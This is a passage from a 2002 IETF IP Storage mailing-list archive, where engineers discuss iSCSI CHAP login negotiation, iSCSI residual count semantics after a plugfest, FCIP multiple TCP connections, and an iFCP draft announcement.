the effect of having the target offer the security method (CHAP,SRP) but the initiator offering the algorithm (4,5,7). Is this allowed? As written above, Step 7a does not perform target authentication. To do so, this step would be rewritten as: 7b. I-> Login (CSG,NSG=0,0 T=0) CHAP_N= CHAP_R= CHAP_I= CHAP_C= in which case the continuation would then be: 8b. T-> Login-FR (CSG,NSG=0,1 T=1) CHAP_N= CHAP_R= One final question -- although the target can force authentication as shown above, and thereby gets to challenge the initiator, there appears to be no way the target can force the initiator to challenge it. In other words, if the initiator sends 7a above (no target challenge), and the target wanted to see 7b, there is nothing the target can do except send back a Login-Reject. Correct? If this is correct, what Status code should be in the Login-Reject? It cannot be 0201 Authentication Failure, because the initiator may have been successfully authenticated. Is the correct response Status 0202 Authorization Failure or Status 0200 Miscellaneous iSCSI initiator error or does it matter? Thank you. Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 --=_alternative 002F0630C2256C0B_= Content-Type: text/html; charset="us-ascii"
Bob,

We have gone through the text again and found that it is not explicit enough about how a target can initiate a security selection.

As a consequence we propose the following minor clarifications to 10.1:

The AuthMethod selection is followed by an "authentication exchange" specific to the authentication method selected.

The authentication method proposal may be made by either the initia-tor or the target. However the initiator MUST make the first step specific to the selected authentication method as soon as it is selected. It follows that if the target makes the authentication method proposal the initiator sends the first keys(s) of the exchange together with its authentication method selection.

The authentication exchange authenticates the initiator to the tar-get, and optionally, the target to the initiator.  Authentication is not mandatory to use but MUST be supported by the target and initia-tor.

The initiator and target MUST implement CHAP. All other authentica-tion methods are OPTIONAL to implement.

Proprietary algorithms MAY also be negotiated for authentication methods. Whenever a proprietary algorithm is offered, "None" or "CHAP" MUST be listed as an option in order to guarantee interopera-bility.

Proprietary authentication methods MUST be named using of the follow-ing two formats:

Z-reversed.vendor.dns_name.do_something=
Z<#><IANA-registered-string>=

Authentication methods named using the Z- format a are used for ven-dor-specific purposes (unregistered). Authentication methods named using the Z# format must be registered with IANA and MUST be described by an informational RFC.

For all the vendor-specific registered or unregistered authentica-tion methods, the methods specific keys MUST conform to the format specified in Section 4.1 Text Format for standard-label.
 
For unregistered authentication methods, to identify the vendor, we suggest you use the reversed DNS-name as a prefix to the proper digest names.

The part of digest-name following Z- and Z# MUST conform to the for-mat for standard-label specified in Section 4.1 Text Format.

Support for vendor-specific authentication methods, whether regis-tered or not is OPTIONAL.

The following subsections define the specific exchanges for each of the standardized authentication methods. As mentioned earlier the first step is always done by the initiator.

Please not also that 7 contains already the following:

Section 10 iSCSI Security Keys and Authentication Methods defines several authentication methods and the exact steps that must be fol-lowed in each of them, including the keys and their allowed values in each step. Whenever an iSCSI initiator gets a response whose keys, or their values, are not according to the step definition, it MUST abort the connection. Whenever an iSCSI target gets a response whose keys, or their values, are not according to the step definition, it MUST answer with a Login reject with the "Initiator Error" or "Missing Parameter" status (these statuses are not intended for cryptographi-cally incorrect value, e.g., the CHAP response, for which "Authenti-cation Failure" status MUST be specified). The importance of this rule can be illustrated in CHAP with target authentication ( Section 10.1.4 Challenge Handshake Authentication Protocol (CHAP)) where the initiator would have been able to con! duct a reflection attack by omitting his response key (CHAP_R), using the same CHAP challenge as the target and reflecting the target's response back to the target. In CHAP this is prevented since the target must answer the missing CHAP_R key with a Login reject with the "Missing Parameter" status.

Togther they should make clear that your hypothetical example is not correct in step 3a - where the initiator MUST have made the first CHAP specific step with CHAP_A=4,5,7 together with the AuthMethod=CHAP.

Thanks,
Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
Sent by: owner-ips@ece.cmu.edu

08/03/2002 05:43 PM

       
        To:        ips@ece.cmu.edu
        cc:        
        Subject:        iSCSI: CHAP

       



Julian:

Section 10.5 is written in terms of initiator and target, rather
than originator and responder as in section 7.2.1.  I believe this
is intentional (i.e., that section 10.5 is NOT supposed to be
written in terms of originator and responder).

Because the use of CHAP in Appendix C is illustrated only with
the initiator offering the AuthMethod key, I would like to verify
that the following is a correct security negotiation sequence
when it is the target, not the initiator, that first offers the
AuthMethod key (this scenario ignores the other keys that may be
required, such as InitiatorName, TargetName, etc., and assumes
they are sent as required):

1.  I-> Login (CSG,NSG=0,1 T=1) no AuthMethod key
2.  T-> Login-PR (CSG,NSG=0,0 T=0) AuthMethod=CHAP,SRP
3a. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP
4a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=4,5,7
5a. I-> Login (CSG,NSG=0,0 T=0) CHAP_A=5
6a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_I=<i1> CHAP_C=<c1>
7a. I-> Login (CSG,NSG=0,1 T=1) CHAP_N=<n1> CHAP_R=<r1>
8a. T-> Login-FR (CSG,NSG=0,1 T=1) no keys
and security negotiation phase is now completed successfully

In particular, the first challenge, in step 6 above, always has to
be from the Target to the Initiator.  Is this correct?

Is it possible or preferable or required to collapse steps 3 through
6 above into just 2 steps?

3b. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP CHAP_A=4,5,7
4b. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=5 CHAP_I=<i1> CHAP_C=<c1>
and then the next step would be 7.

This would have the effect of having the target offer the security
method (CHAP,SRP) but the initiator offering the algorithm (4,5,7).
Is this allowed?


As written above, Step 7a does not perform target authentication.
To do so, this step would be rewritten as:

7b. I-> Login (CSG,NSG=0,0 T=0) CHAP_N=<n1> CHAP_R=<r1> CHAP_I=<i1> CHAP_C=<c2>

in which case the continuation would then be:

8b. T-> Login-FR (CSG,NSG=0,1 T=1) CHAP_N=<n2> CHAP_R=<r2>

One final question -- although the target can force authentication as
shown above, and thereby gets to challenge the initiator, there appears
to be no way the target can force the initiator to challenge it.
In other words, if the initiator sends 7a above (no target challenge),
and the target wanted to see 7b, there is nothing the target can do
except send back a Login-Reject.  Correct?

If this is correct, what Status code should be in the Login-Reject?
It cannot be 0201 Authentication Failure, because the initiator may
have been successfully authenticated.  Is the correct response Status
0202 Authorization Failure or Status 0200 Miscellaneous iSCSI initiator
error or does it matter?

Thank you.

Bob Russell
InterOperability Lab
University of New Hampshire
rdr@iol.unh.edu
603-862-3774

--=_alternative 002F0630C2256C0B_=-- From owner-ips@ece.cmu.edu Sun Aug 4 19:49:58 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15697 for ; Sun, 4 Aug 2002 19:49:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g74N1lL01321 for ips-outgoing; Sun, 4 Aug 2002 19:01:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from Relay1.MaXXan.com (63-203-52-246.makesans.com [63.203.52.246] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g74N1jo01317 for ; Sun, 4 Aug 2002 19:01:45 -0400 (EDT) Received: from mail pickup service by Relay1.MaXXan.com with Microsoft SMTPSVC; Sun, 4 Aug 2002 16:01:39 -0700 x-gfisavedcharset: iso-8859-1 Content-Type: text/plain; charset="iso-8859-1" Received: from kingler.MaXXan.com ([10.100.100.49]) by relay1.maxxan.com with Microsoft SMTPSVC(5.0.2195.4905); Sun, 4 Aug 2002 16:01:34 -0700 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Subject: questions about fcip X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Date: Sun, 4 Aug 2002 16:01:34 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: questions about fcip thread-index: AcI8CuEjWRgkB3HbSoyU3LNeiDhs7w== From: "Chong Peng" To: X-OriginalArrivalTime: 04 Aug 2002 23:01:34.0767 (UTC) FILETIME=[E15663F0:01C23C0A] Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: quoted-printable FCIP gurus: The FCIP protocol allows one FCIP link have multiple TCP connection. I = have two questions about this: 1. Why would a FCIP link need multiple TCP connections?=20 2. If there are multiple TCP connections in a FCIP link, which entity is = responsible for distributing traffic among them. Chong Peng This email message is for the sole use of the intended recipient(s) and = may contain confidential information. Any unauthorized use; review, = disclosure or distribution is prohibited. If you are not the intended = recipient, please contact the sender by return email and destroy all = copies of the original message.=20 Copyright =A9 2002 MaXXan Systems, Inc. All rights reserved. From owner-ips@ece.cmu.edu Mon Aug 5 12:19:48 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20114 for ; Mon, 5 Aug 2002 12:19:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g75FcYX21373 for ips-outgoing; Mon, 5 Aug 2002 11:38:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g75Bigo08643 for ; Mon, 5 Aug 2002 07:44:47 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08288; Mon, 5 Aug 2002 07:43:29 -0400 (EDT) Message-Id: <200208051143.HAA08288@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-ifcp-13.txt,.pdf Date: Mon, 05 Aug 2002 07:43:29 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : iFCP - A Protocol for Internet Fibre Channel Storage Networking Author(s) : C. Monia et al. Filename : draft-ietf-ips-ifcp-13.txt,.pdf Pages : 104 Date : 02-Aug-02 This document specifies an architecture and gateway-to-gateway protocol for the implementation of fibre channel fabric functionality over an IP network. This functionality is provided through TCP protocols for fibre channel frame transport and the distributed fabric services specified by the fibre channel standards. The architecture enables internetworking of fibre channel devices through gateway-accessed regions having the fault isolation properties of autonomous systems and the scalability of the IP network. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-ifcp-13.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-ifcp-13.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-ifcp-13.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020802150841.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-ifcp-13.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-ifcp-13.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020802150841.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Mon Aug 5 12:25:57 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20340 for ; Mon, 5 Aug 2002 12:25:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g75FsCC22326 for ips-outgoing; Mon, 5 Aug 2002 11:54:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g75Fs9o22319 for ; Mon, 5 Aug 2002 11:54:09 -0400 (EDT) Received: by MAHO3MSX2 with Internet Mail Service (5.5.2653.19) id ; Mon, 5 Aug 2002 11:54:04 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C173@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Date: Mon, 5 Aug 2002 11:53:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23C98.4D78E7A0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23C98.4D78E7A0 Content-Type: text/plain; charset="iso-8859-1" Julian, Text is ok, but please add a sentence to avoid the confusion over Status that occurred at the plugfest - SCSI permits a residual count to be returned for status values other than GOOD. Thanks, --David -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 03, 2002 1:14 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy. The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue). Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count. That is why I would suggest the following text: The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred. Julo Black_David@emc.com 08/03/2002 01:50 AM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, Matching FCP's wording resulted in a "go ask the expert" algorithm for figuring out what is required - we ought to do better, and this is an iSCSI protocol issue. What I'm looking for in 9.4 is: - Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked by the Initiator when the Response is "Command Completed at Target" no matter what the value of the Status field is. - SCSI permits Residual Counts to be returned for Status values other than GOOD; see [SPC2]. I believe that both of these are implied by the current text, but since this caused confusion at the plugfest, we ought to spell it out. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 02, 2002 1:43 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We DO EXACTLY what FCP did - say nothing. I went through the document - thetre is no relation mentioned and that is what we do too. In any case we cannot enforce a SCSI behavior. The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI. I also suspect that the trouble may be deeper than we think and I find it much more prudent to say nothing (again as FCP did). Julo Black_David@emc.com 08/01/2002 05:56 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. ------_=_NextPart_001_01C23C98.4D78E7A0 Content-Type: text/html; charset="iso-8859-1"

Julian,
 
Text is ok, but please add a sentence to avoid the confusion over
Status that occurred at the plugfest - SCSI permits
a residual count to be returned for status values other than GOOD.
 
Thanks,
--David
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 03, 2002 1:14 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues


David,

We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy.
The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue).
Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count.

That is why I would suggest the following text:

The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred.

Julo


Black_David@emc.com

08/03/2002 01:50 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI: plugfest4 issues

       


Julian,
 
Matching FCP's wording resulted in a "go ask the expert" algorithm
for figuring out what is required - we ought to do better, and this
is an iSCSI protocol issue.  What I'm looking for in 9.4 is:
 
- Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked
    by the Initiator when the Response is "Command Completed at Target"
    no matter what the value of the Status field is.
- SCSI permits Residual Counts to be returned for Status values other
    than GOOD; see [SPC2].
 
I believe that both of these are implied by the current text, but since
this caused confusion at the plugfest, we ought to spell it out.
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 02, 2002 1:43 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues


David,

We DO EXACTLY what FCP did  - say nothing.
I went through the document - thetre is no relation mentioned and that is what we do too.

In any case we cannot enforce a SCSI behavior.
The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI.

I also suspect that the trouble may be deeper than we think and I find it much more prudent
to say nothing (again as FCP did).

Julo


Black_David@emc.com

08/01/2002 05:56 PM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        ips@ece.cmu.edu
       Subject:        RE: iSCSI: plugfest4 issues

     



Julian,
 
I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues


Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo
Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
      To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
      cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
      Subject:        Re: iSCSI: plugfest4 issues

     




Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
                                         
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
appropriate O and U bits need to be computed on all SCSI Response
PDUs, regardless of the values in the Status and/or Response fields.

One point of view says that the Residual Count field and the O and U
bits appear to be strictly iSCSI values that are derived by the
iSCSI target layer from the ExpectedDataTransferLength field of the
SCSI Command PDU and the DataSegmentLength fields of the DataIn or
DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
target always computes a Residual Count value without regard to the
Status and/or Response fields, since these are SCSI values.

The other point of view says that the Residual Count field, and the
O and U bits, need only be set when the Status and Response fields
indicate that the command was completed at the target with a GOOD
Status, and the target does not have to compute or set the Residual
Count field and the O or U bits for other values of the Status and/or
Response fields.

Which is it?  In any case, could this be clarified somewhere in the
standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
      T10 Reflector <t10@t10.org>,
      Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
